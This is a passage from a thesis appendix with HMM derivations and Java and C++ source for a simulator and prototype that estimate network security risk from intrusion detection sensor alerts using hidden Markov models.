property holds. Now we can use the forward variable αt(i) to update the state
probability distribution by new observations. This is done by
γt(i) = P (xt = si|y1 · · · yt, λ) = P (y1 · · · yt, xt = si|λ)
P (y1 · · · yt|λ)
=
P (y1 · · · yt, xt = si|λ)∑N
j=1 P (y1 · · · yt, xt = sj|λ)
=
αt(i)∑N
j=1 αt(j)
.
(A.6)
Note that (A.6) is similar to Eq. 27 in [A97], with the exception that we do not
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account for observations that occur after t.
A.2 Risk Variance
The variance σ20(t) of R0t given by Equation 3.6, can be derived as follows
σ20(t) = V ar[R0t ] =
K∑
k=1

1
σ2k∑K
k=1
1
σ2k

2
V ar[Rkt ]
=
 1∑K
k=1
1
σ2k(t)

2
K∑
k=1
(
1
σ2k(t)
)2
σ2k(t)
=
 1∑K
k=1
1
σ2k(t)

2
K∑
k=1
1
σ2k(t)
=
1∑K
k=1
1
σ2k(t)

Appendix B
Risk Assessment Simulation Code
This appendix contains the code for the risk assessment simulation. The JSIM
framework is necessary to run the simulation. See Section 3.6.1 in the main part of
this thesis for a detailed description of the simulator design.
B.1 Asset.java
package risksim;
import jsim.event.Scheduler;
import jsim.event.Entity;
import java.util.Queue;
import java.util.LinkedList;
import java.util.Map;
import java.util.LinkedHashMap;
import java.util.Random;
/**
* This class represents the target of the risk assessment.
* A typical example of an asset is a host represented by an IP address.
*
* An asset has a number of sensors that performs estimation of the
* security state of the asset. Each sensor estimates independently.
* The asset computes the estimated security state based on all
* its sensors, and uses this and a cost vector to compute its risk .
**/
public class Asset extends Entity{
double[][] P_real; //State transition probability distribution matrix
double[][] P_est; //State transition probability distribution matrix
double[] PI_real; //Initial state distribution for the object
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double[] PI_est; //Initial state distribution for the object
double[] cost;
double risk;
Sensor[] sensors;
int sensorct;
double lastState;
double id;
/*
* Constructor instantiates an Asset without Sensors
* @param P_real
* @param P_est
* @param PI_real
* @param PI_est
* @param cost
* @param id
*/
public Asset(double[][] P_real,double[][] P_est,
double[] PI_real,double[] PI_est,
double[] cost, int id){
super(0);
this.P_real = P_real;
this.P_est = P_est;
this.PI_real = PI_real;
this.PI_est = PI_est;
this.cost = cost;
this.id=id;
risk=0;
sensors = new Sensor[Constants.MAXSENSORS];
sensorct = 0;
lastState = Constants.GOOD_STATE;
}
/**
* Constructor. Estimation and real parameters identical.
* @param P
* @param PI
* @param cost
* @param id
**/
public Asset(double[][] P,double[] PI, double[] cost, int id){
this(P,P,PI,PI,cost,id);
}
public Sensor addSensor(Sensor sensor){
sensor = configureSensor(sensor);
sensors[sensorct] = sensor;
sensorct++;
return sensor;
}
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private Sensor configureSensor(Sensor sensor){
sensor.configure(P_est, PI_est);
return sensor;
}
/*
* Generate new state and let sensors sense it.
*/
public double generateState(){
if(Constants.DEB){
System.out.println("Asset.generateState() START");}
lastState=getNextState();
for(int i=0;i<sensorct;i++){
if(Constants.DEB){
System.out.println("Asset.generateState() sensor : " + i);}
sensors[i].senseState(lastState,Scheduler.currentTime(),this);
}
if(Constants.DEB){
System.out.println("Asset.generateState() END");}
return lastState;
}
/*
* Process observation. Let Sensors do their thing.
*/
public void processObservation(Observation observation){
for(int i=0;i<=sensorct;i++){
sensors[i].senseState(observation.getState(),
observation.getTime(),this);
}
}
/*
* Update risk of asset
*/
public void updateRisk(){
if(Constants.DEB != false){
System.out.println("updateRisk() for asset : "+ id);}
double[] tmp = new double[cost.length];
double[] tmp2 = new double[cost.length];
for(int i=0;i<sensorct;i++){
if(Constants.DEB != false)
{System.out.println("updateRisk() -- for sensor : " + i );}
tmp2 = sensors[i].getState();
for(int j=0; j<cost.length;j++){
tmp[j] += tmp2[j];
}
}
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risk = 0;
for(int k=0; k<cost.length;k++){
tmp[k] = tmp[k] / sensorct;
risk += tmp[k] * cost[k];
}
SimStatistics.setRisk(Scheduler.currentTime(), id, risk);
SimStatistics.setRealRisk(Scheduler.currentTime(),
id, computeRealRisk());
if(Constants.DEB != false){System.out.println("updateRisk() END");}
}
public double getRisk(){
return risk;
}
public double computeRealRisk(){
return cost[(int) lastState];
}
public double getId(){
return id;
}
/**
* Get a new state for simulation -- real, not estimated.
**/
private int getNextState(){
double tmp=0;
double[] stateVector = P_real[(int) lastState];
double random=Simulator.theRandom.nextDouble();
for(int i=0; i<stateVector.length;i++){
tmp+=stateVector[i];
if(random<=tmp){
lastState=i;
return i;
}
}
lastState=stateVector.length;
return stateVector.length; // return last state
}
}
B.2 AssetProfile.java
package risksim;
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/**
* This class is a generic profile framework for assets.
* A profile is a set of parameters for a specific type of asset,
* as estimated in a risk evaluation.
**/
public class AssetProfile {
double[][] P_real; //State transition probability distribution matrix
double[][] P_est;
double[] PI_real; //Initial state distribution for the object
double[] PI_est; //Initial state distribution for the object
double[] cost;
/**
* Constructor.
* @param P
* @param PI
* @param cost
**/
public AssetProfile(double[][] P,double[] PI, double[] cost){
this.P_real = P;
this.P_est = P;
this.PI_real = PI;
this.PI_est = PI;
this.cost = cost;
}
public AssetProfile(double[][] P_real,double[][] P_est,double[] PI_real,
double[] PI_est,double[] cost){
this.P_real = P_real;
this.P_est = P_est;
this.PI_real = PI_real;
this.PI_est = PI_est;
this.cost = cost;
}
public Asset makeAsset(int id){
return new Asset(P_real,P_est,PI_real,PI_est,cost,id);
}
}
B.3 Constants.java
package risksim;
/**
* This class holds constant variables for the Simualator.
**/
public class Constants {
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/** Debugging parameter **/
public static final boolean DEB = false;
/** The priority of the state event -- the real state of an object **/
public static final int STATE_PRIORITY = 1;
/** The priority of an observation event **/
public static final int OBSERVATION_PRIORITY = 3;
/** The priority of the Update Event **/
public static final int SENSORPROCESS_PRIORITY = 5;
public static final int UPDATE_PRIORITY = 7;
/** The priority of the End mark on the Scheduler **/
public static final int ENDMARK_PRIORITY = 10;
/** Risk States **/
public static final int GOOD_STATE = 0; // G
public static final int ATTACK_STATE = 1; // A
public static final int COMPR_STATE = 2; // C
// Parameters for example 1
public static final double[][] ROUTER_P
= {{0.8,0.199995,0.000005},
{0.7,0.299995,0.000005},
{0.000005,0.000005,0.99999}};
public static final double[][] WEBSERVER_P
= {{0.8,0.199,0.001},
{0.5,0.498,0.02},
{0.000005,0.000005,0.99999}};
public static final double[][] FILESERVER_P
= {{0.99999,0.000005,0.000005},
{0.8,0.19995,0.00005},
{0.000005,0.000005,0.99999}};
public static final double[][] WORKSTATION_P
= {{0.99,0.009,0.001},
{0.3080,0.6900,0.0020},
{0.000005,0.000005,0.99999}};
public static final double[][] LAPTOP_P
= {{0.99,0.009,0.001},
{0.3080,0.6900,0.0020},
{0.000005,0.000005,0.99999}};
public static final double[] ROUTER_PI = {1,0,0};
public static final double[] WEBSERVER_PI = {1,0,0};
public static final double[] FILESERVER_PI = {1,0,0};
public static final double[] WORKSTATION_PI = {1,0,0};
APPENDIX B. RISK ASSESSMENT SIMULATION CODE 163
public static final double[] LAPTOP_PI = {1,0,0};
public static final double[] ROUTER_COST = {0,4,8};
public static final double[] WEBSERVER_COST = {0,3,6};
public static final double[] FILESERVER_COST = {0,1,10};
public static final double[] WORKSTATION_COST = {0,2,4};
public static final double[] LAPTOP_COST = {0,1,2};
public static final AssetProfile ROUTER =
new AssetProfile(ROUTER_P, ROUTER_PI, ROUTER_COST);
public static final AssetProfile WEBSERVER =
new AssetProfile(WEBSERVER_P,WEBSERVER_PI,WEBSERVER_COST);
public static final AssetProfile FILESERVER =
new AssetProfile(FILESERVER_P,FILESERVER_PI,FILESERVER_COST);
public static final AssetProfile WORKSTATION =
new AssetProfile(WORKSTATION_P,WORKSTATION_PI,WORKSTATION_COST);
public static final AssetProfile LAPTOP =
new AssetProfile(LAPTOP_P,LAPTOP_PI,LAPTOP_COST);
// The following is used for example 2
public static final double[][] ROUTER_P_EST
= {{0.7,0.2,0.1},{0.50,0.4500,0.050},{0.002,0.002,0.996}};
public static final double[][] WEBSERVER_P_EST
= {{0.7,0.2,0.1},{0.50,0.4500,0.050},{0.002,0.002,0.996}};
public static final double[][] FILESERVER_P_EST
= {{0.7,0.2,0.1},{0.50,0.4500,0.050},{0.002,0.002,0.996}};
public static final double[][] WORKSTATION_P_EST
= {{0.7,0.2,0.1},{0.50,0.4500,0.050},{0.002,0.002,0.996}};
public static final double[][] LAPTOP_P_EST
= {{0.7,0.2,0.1},{0.050,0.500,0.450},{0.002,0.002,0.996}};
public static final double[] ROUTER_PI_EST = {0.7,0.2,0.1};
public static final double[] WEBSERVER_PI_EST = {0.7,0.2,0.1};
public static final double[] FILESERVER_PI_EST = {0.7,0.2,0.1};
public static final double[] WORKSTATION_PI_EST = {0.7,0.2,0.1};
public static final double[] LAPTOP_PI_EST = {0.7,0.2,0.1};
public static final AssetProfile ROUTER2 =
new AssetProfile(ROUTER_P, ROUTER_P_EST,
ROUTER_PI, ROUTER_PI_EST,
ROUTER_COST);
public static final AssetProfile WEBSERVER2 =
new AssetProfile(WEBSERVER_P,WEBSERVER_P_EST,
WEBSERVER_PI,WEBSERVER_PI_EST,
WEBSERVER_COST);
public static final AssetProfile FILESERVER2 =
new AssetProfile(FILESERVER_P,FILESERVER_P_EST,
FILESERVER_PI,FILESERVER_PI_EST,
FILESERVER_COST);
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public static final AssetProfile WORKSTATION2 =
new AssetProfile(WORKSTATION_P,WORKSTATION_P_EST,
WORKSTATION_PI,WORKSTATION_PI_EST,
WORKSTATION_COST);
public static final AssetProfile LAPTOP2 =
new AssetProfile(LAPTOP_P,LAPTOP_P_EST,
LAPTOP_PI,LAPTOP_PI_EST,LAPTOP_COST);
// The sensor parameters
public static final double[][] NIDS_Q_EST
= {{0.950,0.03,0.02},{0.05,0.9,0.05},{0.02,0.02,0.96}};
public static final double[][] HIDS_Q_EST
= {{0.970,0.015,0.015},{0.1,0.80,0.1},{0.020,0.020,0.960}};
public static final double[][] NIDS_Q
= {{0.60,0.2,0.2},{0.2,0.5,0.3},{0.1,0.1,0.8}};
public static final double[][] HIDS_Q
= {{0.80,0.1,0.1},{0.1,0.8,0.1},{0.10,0.10,0.80}};
public static final SensorProfile NIDS
= new SensorProfile(NIDS_Q, NIDS_Q);
public static final SensorProfile HIDS
= new SensorProfile(HIDS_Q, HIDS_Q);
public static final SensorProfile NIDS2
= new SensorProfile(NIDS_Q,NIDS_Q_EST);
public static final SensorProfile HIDS2
= new SensorProfile(HIDS_Q,HIDS_Q_EST);
public static final int MAXSENSORS = 10;
}
B.4 HMMlib.java
package risksim;
/*
* This class contains a computational library for HMM state
* estimation computations as part of the risk assessment.
*/
public class HMMlib {
/*
* Compute forward variable, initial case.
*/
public static double[] computeInitAlpha(double observation,
double[][] Q, double[] PI){
double[] alpha = new double[PI.length];
for (int i = 0; i < PI.length; i++){
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alpha[i]=Q[i][(int) observation]*PI[i];
} return scaleAlpha(alpha);
}
/*
* Update forward variable based on observation.
*/
public static double[] updateAlpha(double observation,
double[][] P, double[][] Q,
double[] PI, double[] lastAlpha){
double[] alpha = new double[PI.length];
double tmp;
for (int i = 0; i < PI.length; i++){
tmp=0;
for (int j = 0; j < PI.length; j++){
tmp+=lastAlpha[j]*P[j][i];
}
alpha[i]=Q[i][(int) observation]*tmp;
} return scaleAlpha(alpha);
}
/*
* Compute state distribution, initial case.
*/
public static double[] initState(double observation,
double[][] Q, double[] PI){
double[] gamma = new double[PI.length];
double tmp;
for (int i = 0; i < PI.length; i++){
tmp=0;
for (int j =0; j < PI.length; j++){
tmp+=Q[j][(int) observation]*PI[j];
}
gamma[i]=(Q[i][(int) observation]*PI[i]) / tmp;
} return gamma;
}
/*
* Update state distribution based on observation.
*/
public static double[] updateState(double[] alpha){
double[] gamma = new double[alpha.length];
double tmp;
for (int i = 0; i < alpha.length; i++){
tmp=0;
for (int j =0; j < alpha.length; j++){
tmp+=alpha[j];
}
gamma[i]=alpha[i]/tmp;
} return gamma;
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}
/*
* Compute risk based on state distribution and cost vector
*/
public static double computeRisk(double[] states, double[] cost){
double risk=0;
for (int i = 0; i < states.length; i++){
risk+=states[i]*cost[i];
} return risk;
}
/*
* Scale alpha to keep within precision range of computer
*/
public static double[] scaleAlpha(double[] alpha){
double tmp=0;
for (int i = 0; i < alpha.length; i++){
tmp+=alpha[i];
}
for (int i = 0; i < alpha.length; i++){
alpha[i]=alpha[i]/tmp;
}
return alpha;
}
}
B.5 Observation.java
package risksim;
import jsim.event.Event;
import jsim.event.Scheduler;
/*
* This class represents an observation from a sensor.
*/
public class Observation{
int state; // See Constants.java for details
double time;
Asset asset;
/**
* Constructor for observation without timestamp, such
* as for processing "no observation"
**/
public Observation(int state, Asset asset){
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this.state=state;
this.asset=asset;
this.time = Scheduler.currentTime();
}
public Observation(int state, double time, Asset asset){
this.state=state;
this.time=time;
this.asset=asset;
}
public double getTime(){return time;}
public Asset getAsset(){return asset;}
public double getState(){return state;}
String print(){
if(state==Constants.GOOD_STATE) return "Good";
else if (state==Constants.ATTACK_STATE) return "Attack";
else if (state==Constants.COMPR_STATE) return "Compromized";
else return "Unknown";
}
}
B.6 ObservationEvent.java
package risksim;
import jsim.event.Event;
/*
* This class is used to represent a Sensor reading.
* A Sensor accepts and queues the Observation for further
* processing.
*/
public class ObservationEvent extends Event{
Observation observation;
Sensor sensor;
public ObservationEvent(Observation observation, Sensor sensor){
super(sensor);
if(Constants.DEB){
System.out.println("ObservationEvent contructor START");}
this.observation=observation;
if(Constants.DEB){
System.out.println("ObservationEvent contructor END");}
}
168 B.7. RISKUPDATEEVENT.JAVA
public Sensor getSensor(){return sensor;}
public Observation getObservation(){return observation;}
public void occur(){
if(Constants.DEB){
System.out.println("ObservationEvent.occur() START");}
((Sensor) entity).readObservation(observation);
if(Constants.DEB){
System.out.println("ObservationEvent.occur() END");}
}
}
B.7 RiskUpdateEvent.java
package risksim;
import jsim.event.Event;
/*
* Event that causes Assets to update their risk.
*/
public class RiskUpdateEvent extends Event{
/**
* Constructur.
**/
public RiskUpdateEvent(Asset asset){
super(asset);
}
/**
* The occur() method is run by the Scheduler.
**/
public void occur(){
if(Constants.DEB){
System.out.println("RiskUpdateEvent.occur() START");}
((Asset) entity).updateRisk();
if(Constants.DEB){
System.out.println("RiskUpdateEvent.occur() END");}
}
}
B.8 Sensor.java
package risksim;
import jsim.event.Entity;
import jsim.event.Scheduler;
APPENDIX B. RISK ASSESSMENT SIMULATION CODE 169
import java.util.Random;
import java.util.Queue;
import java.util.LinkedList;
/*
* This class represents a sensor on behalf of an asset.
* If a physical sensor covers several assets, a Sensor is
* instantiated for each of the assets.
* A Sensor has a fully defined HMM-model represented by P, PI and Q,
* as well as the variables gamma and alpha. The security state
* distribution of the Asset monitored by the sensor is recalculated
* for each simulation timestep. The following two methods are called
* by an Asset:
* - senseState(Observation): adds Observation to the Observation queue
* - updateState(): recomputes state using first Observation in queue
* No events act on the sensor. The sensor triggers no event by itself.
*/
public class Sensor extends Entity{
double[][] Q_real; // The underlying observation matrix
// -- used to generate observations from events
double[][] Q_est; //Observation symbol probability distr matrix
double[][] P_est;
double[] PI_est;
double[] gamma; // security state distribution
double[] alpha; // forward variable
Queue<Observation> observationQueue = new LinkedList<Observation>();
public static Random theRandom = new Random();
/*
* A Sensor is instantiated with full HMM parameters, as well
* as the simulation specific true estimation matrix Q_real.
*/
public Sensor(double[][] Q_real,double[][] Q_est,
double[][] P_est, double[] PI_est){
super(0);
this.Q_est=Q_est;
this.Q_real=Q_real;
this.P_est=P_est;
this.PI_est=PI_est;
gamma = PI_est;
alpha=null;
symbolmax = Q_est.length;
}
public Sensor(double[][] Q_real,double[][] Q_est){
this(Q_real, Q_est, null, null);
}
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public void configure(double[][] P_est, double[] PI_est){
this.P_est=P_est;
this.PI_est=PI_est;
}
/*
* The senseState method is called by an Asset with a simulated true
* security state. The Sensor senses the security state and creates
* an Observation for the Observation queue. The observed state is not
* necessarily the same as the true security state.
*/
public void senseState(double state, double time, Asset asset){
if(Constants.DEB)
{System.out.println("Sensor.senseState(,,) START");}
Observation obs = senseWithQ(state, time, asset);
Scheduler.schedule(new ObservationEvent(obs, this), 0,
Constants.OBSERVATION_PRIORITY);
if(Constants.DEB){System.out.println("Sensor.senseState(,,) STOP");}
}
public void readObservation(Observation obs){
observationQueue.offer(obs);
}
/*
* The updateState method is called by an Asset in order to
* recompute the state distribution based on the last observation
* in the queue.
*/
public void updateState(){
Observation observation = (Observation) observationQueue.poll();
if(observation==null){
update(new Observation(Constants.GOOD_STATE, null));
}
else{
update(observation);
}
}
public double[] getState(){
return gamma;
}
/*
* The update method performs the state update computation.
* It is a private method called by updateState.
*/
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private void update(Observation observation){
if(Constants.DOREESTIMATION) {
if(lastObservations.size() < Constants.REESTIMATE_LIMIT) {
lastObservations.offer(observation);
}
if(lastObservations.size() >= Constants.REESTIMATE_LIMIT ) {
reestimate() ;
lastObservations.offer(observation);
}
}
if (alpha==null){
alpha = HMMlib.computeInitAlpha(observation.getState(),
Q_est, PI_est);
gamma = HMMlib.initState(observation.getState(),
Q_est, PI_est);
}
else{
alpha = HMMlib.updateAlpha(observation.getState(),
P_est, Q_est, PI_est, alpha);
gamma = HMMlib.updateState(alpha);
}
}
/*
* This method performs computation on behalf of
* senseState method.
*/
private Observation senseWithQ(double state, double time, Asset asset){
double tmp=0;
double random=theRandom.nextDouble();
double[] observationVector = Q_real[(int) state];
for(int i=0; i<observationVector.length;i++){
tmp+=observationVector[i];
if(random<=tmp){
if(Constants.DEB){
System.out.println("Sensor.senseWithQ(,,) STOP");}
return new Observation(i,time,asset);
}
}
if(Constants.DEB){System.out.println("Sensor.senseWithQ(,,) STOP");}
return null;
}
}
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B.9 SensorProcessEvent.java
package risksim;
import jsim.event.Event;
/*
* Simulation event that causes a Sensor to process an observation
*/
public class SensorProcessEvent extends Event{
/**
* Constructur.
**/
public SensorProcessEvent(Sensor sensor){
super(sensor);
}
/**
* The occur() method is run by the Scheduler.
**/
public void occur(){
if(Constants.DEB){
System.out.println("SensorProcessEvent.occur() START");}
((Sensor) entity).updateState();
if(Constants.DEB){
System.out.println("SensorProcessEvent.occur() END");}
}
}
B.10 SensorProfile.java
package risksim;
/**
* The profile class for Sensor
**/
public class SensorProfile{
double[][] Q_real;
double[][] Q_est;
/**
* Standard constructor
**/
public SensorProfile(double[][] Q_real,double[][] Q_est){
this.Q_real=Q_real;
this.Q_est=Q_est;
}
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public Sensor makeSensor(double[][] P_est, double[] PI_est){
return new Sensor(Q_real, Q_est, P_est, PI_est);
}
public Sensor makeSensor(){
return new Sensor(Q_real, Q_est);
}
}
B.11 SimStatistics.java
package risksim;
import org.jfree.data.statistics.Statistics;
/** This is a resource for gathering the statistical data from
* a simulation run. This class holds static data elements
*/
public class SimStatistics{
private static double[][] risk;
private static double[][] risk_real;
// Initialize SimStatistics
public static void initialize(double simulationTimespan, double assets){
if(Constants.DEB) {
System.out.println("SimStatistics: init simulationTimespan="
+ simulationTimespan + ", assets=" + assets);}
risk = new double[(int) simulationTimespan][(int) assets];
risk_real = new double[(int) simulationTimespan][(int) assets];
}
// Set risk value for an asset at a given time
public static void setRisk(double time, double asset, double inRisk){
if(Constants.DEB)
{System.out.println("SimStatistics : setting risk -- " +
inRisk + " time : " + time +
", for asset : " + asset);}
risk[(int) time][(int) asset]=inRisk;
}
// Set true risk for an asset at a given time
public static void setRealRisk(double time, double asset, double inRisk){
risk_real[(int) time][(int) asset]=inRisk;
}
// Get the asset risk for a given time
public static double getAssetRisk(double time, double asset){
return risk[(int) time][(int) asset];
}
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// Get the true risk for a given time
public static double getRealAssetRisk(double time, double asset){
return risk_real[(int) time][(int) asset];
}
// Compute and return risk for entire network
public static double getSystemRisk(double time){
double tmp=0;
for(int i=0;i<risk[(int) time].length;i++){
tmp+=risk[(int) time][(int) i];
}
return tmp;
}
// Compute and return true risk for entire network
public static double getRealSystemRisk(double time){
double tmp=0;
for(int i=0;i<risk_real[(int) time].length;i++){
tmp+=risk_real[(int) time][(int) i];
}
return tmp;
}
// Compute correlation between true and estimated risk
public static double computeRiskCorrelation(){
Double[] trueRisk = new Double[risk.length];
Double[] estRisk = new Double[risk.length];
for(int i=0; i<risk.length; i++){
trueRisk[i] = new Double(getRealSystemRisk(i));
estRisk[i] = new Double(getSystemRisk(i));
}
return Statistics.getCorrelation(trueRisk, estRisk);
}
}
B.12 Simulator.java
package risksim;
import jsim.event.Scheduler;
import jsim.event.Event;
import jsim.event.Entity;
import java.text.NumberFormat;
import java.text.DecimalFormat;
import java.util.Random;
import java.io.*;
/** This class is the main simulation program.
* The program uses JSIM as a discrete-event simulator and
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* the JFree statistics package for correlation analysis.
**/
public class Simulator{
private int simulationTimespan;
private Scheduler theScheduler;
private double simulationStartTime;
private int simulationAssets;
public static Random theRandom = new Random();
/** This is the default constructor **/
public Simulator(){
if(Constants.DEB) System.out.println("Simulator()");
}
public void init_nordsec_ex1(){
System.out.println("initialize() START NORDSEC example 1");
theScheduler = new Scheduler();
simulationStartTime = theScheduler.currentTime();
int assetId = 0;
simulationAssets=25;
simulationTimespan=86400; // seconds
SimStatistics.initialize(simulationTimespan,simulationAssets);
Object[] assets = new Asset[simulationAssets];
Sensor[] hidsSensors = new Sensor[simulationAssets];
Sensor[] nidsSensors = new Sensor[simulationAssets];
int i=0; // counter
// Genererate objects and corresponding sensors in three
// arrays, representing the objects and their HIDS and NIDS sensors
assets[i]=Constants.ROUTER.makeAsset(i);
hidsSensors[i]=
((Asset) assets[i]).addSensor(Constants.NIDS.makeSensor());
nidsSensors[i]=
((Asset) assets[i]).addSensor(Constants.HIDS.makeSensor());
i++;
for(int j=0; j<10; j++){
assets[i]=Constants.WORKSTATION.makeAsset(i);
hidsSensors[i]=
((Asset) ((Asset) assets[i])).addSensor(
Constants.NIDS.makeSensor());
nidsSensors[i]=
((Asset) assets[i]).addSensor(Constants.HIDS.makeSensor());
i++;
assets[i]=Constants.LAPTOP.makeAsset(i);
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hidsSensors[i]=
((Asset) assets[i]).addSensor(Constants.NIDS.makeSensor());
nidsSensors[i]=
((Asset) assets[i]).addSensor(Constants.HIDS.makeSensor());
i++;
}
for(int j=0; j<2; j++){
assets[i]=Constants.FILESERVER.makeAsset(i);
hidsSensors[i]=
((Asset) assets[i]).addSensor(Constants.NIDS.makeSensor());
nidsSensors[i]=
((Asset) assets[i]).addSensor(Constants.HIDS.makeSensor());
i++;
assets[i]=Constants.WEBSERVER.makeAsset(i);
hidsSensors[i]=
((Asset) assets[i]).addSensor(Constants.NIDS.makeSensor());
nidsSensors[i]=
((Asset) assets[i]).addSensor(Constants.HIDS.makeSensor());
i++;
}
if(Constants.DEB) System.out.println("initialize()"+
"-- Scheduling Events");
for(int k=0; k<simulationTimespan;k++){
for(int l=0; l<simulationAssets;l++){
theScheduler.schedule(new StateEvent(((Asset) assets[l]),k),
k, Constants.SENSORPROCESS_PRIORITY);
}
}
for(int k=0; k<simulationTimespan;k++){
for(int l=0; l<simulationAssets;l++){
theScheduler.schedule(
new SensorProcessEvent((Sensor) hidsSensors[l]),
k, Constants.SENSORPROCESS_PRIORITY);
}
}
for(int k=0; k<simulationTimespan;k++){
for(int l=0; l<simulationAssets;l++){
theScheduler.schedule(
new SensorProcessEvent((Sensor) nidsSensors[l]),
k, Constants.SENSORPROCESS_PRIORITY);
}
}
for(int k=0; k<simulationTimespan;k++){
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for(int l=0; l<simulationAssets;l++){
theScheduler.schedule(new RiskUpdateEvent(((Asset) assets[l])),
k, Constants.UPDATE_PRIORITY);
}
}
if(Constants.DEB) System.out.println("initialize() END");
}
public void init_nordsec_ex2(){
System.out.println("initialize() START NORDSEC example 2");
theScheduler = new Scheduler();
simulationStartTime = theScheduler.currentTime();
int assetId = 0;
simulationAssets=25;
simulationTimespan=86400; // seconds
SimStatistics.initialize(simulationTimespan,simulationAssets);
Object[] assets = new Asset[simulationAssets];
Sensor[] hidsSensors = new Sensor[simulationAssets];
Sensor[] nidsSensors = new Sensor[simulationAssets];
int i=0; // counter
// Genererate assets and corresponding sensors in three
// arrays, representing the objects and their HIDS and NIDS sensors
assets[i]=Constants.ROUTER2.makeAsset(i);
hidsSensors[i]=
((Asset) assets[i]).addSensor(Constants.NIDS2.makeSensor());
nidsSensors[i]=
((Asset) assets[i]).addSensor(Constants.HIDS2.makeSensor());
i++;
for(int j=0; j<10; j++){
assets[i]=Constants.WORKSTATION2.makeAsset(i);
hidsSensors[i]=
((Asset) ((Asset) assets[i])).addSensor(
Constants.NIDS2.makeSensor());
nidsSensors[i]=
((Asset) assets[i]).addSensor(Constants.HIDS2.makeSensor());
i++;
assets[i]=Constants.LAPTOP2.makeAsset(i);
hidsSensors[i]=
((Asset) assets[i]).addSensor(Constants.NIDS2.makeSensor());
nidsSensors[i]=
((Asset) assets[i]).addSensor(Constants.HIDS2.makeSensor());
i++;
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}
for(int j=0; j<2; j++){
assets[i]=Constants.FILESERVER2.makeAsset(i);
hidsSensors[i]=
((Asset) assets[i]).addSensor(Constants.NIDS2.makeSensor());
nidsSensors[i]=
((Asset) assets[i]).addSensor(Constants.HIDS2.makeSensor());
i++;
assets[i]=Constants.WEBSERVER2.makeAsset(i);
hidsSensors[i]=
((Asset) assets[i]).addSensor(Constants.NIDS2.makeSensor());
nidsSensors[i]=
((Asset) assets[i]).addSensor(Constants.HIDS2.makeSensor());
i++;
}
if(Constants.DEB) System.out.println("initialize()"+
"-- Scheduling Events");
for(int k=0; k<simulationTimespan;k++){
for(int l=0; l<simulationAssets;l++){
theScheduler.schedule(new StateEvent(((Asset) assets[l]),k),
k, Constants.SENSORPROCESS_PRIORITY);
}
}
for(int k=0; k<simulationTimespan;k++){
for(int l=0; l<simulationAssets;l++){
theScheduler.schedule(
new SensorProcessEvent((Sensor) hidsSensors[l]),
k, Constants.SENSORPROCESS_PRIORITY);
}
}
for(int k=0; k<simulationTimespan;k++){
for(int l=0; l<simulationAssets;l++){
theScheduler.schedule(
new SensorProcessEvent((Sensor) nidsSensors[l]),
k, Constants.SENSORPROCESS_PRIORITY);
}
}
for(int k=0; k<simulationTimespan;k++){
for(int l=0; l<simulationAssets;l++){
theScheduler.schedule(new RiskUpdateEvent(((Asset) assets[l])),
k, Constants.UPDATE_PRIORITY);
}
}
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if(Constants.DEB) System.out.println("initialize() END");
}
// Executes the simulation
public void run(){
if(Constants.DEB) System.out.println("run() START");
theScheduler.startSim();
if(Constants.DEB) System.out.println("run() END");
}
// Print to file
public void print(FileWriter out)
throws IOException
{
DecimalFormat df2 = new DecimalFormat("###.######");
for (int i=0; i<simulationTimespan;i++){
out.write(i+"\t"+df2.format(SimStatistics.getSystemRisk(i)));
for (int j=0; j<simulationAssets;j++)
{
out.write("\t"+
df2.format(SimStatistics.getAssetRisk(i,j)));
}
out.write("\n");
}
}
// Print true risk values to file
public void printreal(FileWriter out)
throws IOException
{
DecimalFormat df2 = new DecimalFormat("###.######");
for (int i=0; i<simulationTimespan;i++){
out.write(i+"\t"+df2.format(SimStatistics.getRealSystemRisk(i)));
for (int j=0; j<simulationAssets;j++)
{
out.write("\t"+
df2.format(SimStatistics.getRealAssetRisk(i,j)));
}
out.write("\n");
}
}
/** This is the last event scheduled **/
public class SimulationEndEvent extends Event{
public SimulationEndEvent(){super(new Entity(0));}
public void occur(){}
}
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/** The main ... **/
public static void main(String[] args){
System.out.println("Welcome to the Risk Simulator");
Simulator simulator;
File outputFile;
File outputFile2;
FileWriter out;
FileWriter out2;
int arg1=0;
try{
arg1 = Integer.valueOf(args[0]);
}
catch(Exception e){
System.out.println("Provide scenario parameter 1"+
"-- NORDSEC ex. 1 or " +
"2 -- NORDSEC ex. 2.");
return;
}
System.out.println("Initializing Risk Simulator");
simulator = new Simulator();
if(arg1==1){simulator.init_nordsec_ex1();}
else if(arg1==2){simulator.init_nordsec_ex2();}
else
{
System.out.println("Provide scenario parameter 1"+
"-- NORDSEC ex. 1 or " +
"2 -- NORDSEC ex. 2.");
return;
}
System.out.println("Finished init. Running Simulator.");
simulator.run();
System.out.println("Finished simulator run. Correlation: " +
SimStatistics.computeRiskCorrelation());
// Write to file
try{
outputFile = new File("Results"+arg1+".dat");
outputFile2 = new File("Results_real"+arg1+".dat");
out = new FileWriter(outputFile);
out2 = new FileWriter(outputFile2);
simulator.print(out);
simulator.printreal(out2);
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out.close();
out2.close();
}catch(IOException e){
System.out.println("Unable to write to file.");
return;
}
}
}

Appendix C
Prototype Risk Assessment Code
This appendix contains the code for the risk assessment module in STAT. The code
consists of two files, IDMEF risk.hpp and IDMEF risk.cpp. This code implements
the risk assessment for the Lincoln Laboratory data set. The parameters have been
hardcoded in this prototype implementation. The code for the TU Vienna data set
has been left out for space reasons, as only the variables specific to the data set
have been changed. See Section 3.7 for a description of the prototype design.
C.1 IDMEF risk.hpp
/*
* IDMEF_risk.hpp
* Header file for STAT module for real-time risk assessment.
*/
#ifndef _IDMEF_RISK_H
#define _IDMEF_RISK_H
#include "idmeflib/IDMEF_events.hpp"
#include "idmeflib/IDMEF_types.hpp"
#include "idmeflib/IDMEF_helpers.hpp"
#include <map>
#include <stdio.h>
#include <stdlib.h>
#include <fstream>
#include <vector>
#include <iostream>
#include <sstream>
using namespace std;
#if defined(__GNUC__) && __GNUC__ == 3
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using namespace __gnu_cxx;
#endif
// RiskObservation represents a sensor observation (alert)
class RiskObservation{
private:
int state;
int time;
public:
RiskObservation();
RiskObservation(int inState);
RiskObservation(int inState, int inTime);
int getValue();
int getTime();
void decTime(){time--;};
void incTime(){time++;};
};
// RiskSensor represents a sensor (IDS sensor)
class RiskSensor{
private:
vector<vector <double> > Q;
char* sensorid;
public:
RiskSensor(){};
RiskSensor(vector <vector <double> > inQ);
RiskSensor(vector <vector <double> > inQ, char* inSensorid);
vector<vector <double> > getQ();
};
// HMMlib is the computational library for state estimations
class HMMlib{
public:
static vector<double> computeInitAlpha(int observation,
vector< vector <double> > Q,
vector<double> PI);
